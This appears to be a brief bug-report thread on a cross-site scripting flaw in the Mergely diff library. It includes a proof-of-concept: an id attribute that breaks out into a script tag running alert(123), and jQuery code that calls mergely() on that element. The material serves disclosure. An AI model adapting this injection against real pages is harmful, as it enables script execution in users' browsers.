XSS vulnerability with ID

[wickedest]

An application already vulnerable to XSS could force Mergely to construct DOM from an untrusted source.

[cnotin]

For reference, the payload to exploit the vulnerability was:

• Injection point inside the page

  <div class="mergely-full-screen-8">
  <div class="mergely-resizer">
      <div id='toto"><script>alert(123)</script>'>
      </div>
  </div>
  </div>

• JavaScript to enable Mergely on it:

  <script type="text/javascript">
  $(document).ready(function () {
      $(document.getElementsByTagName("div")[2]).mergely({});
  });
  </script>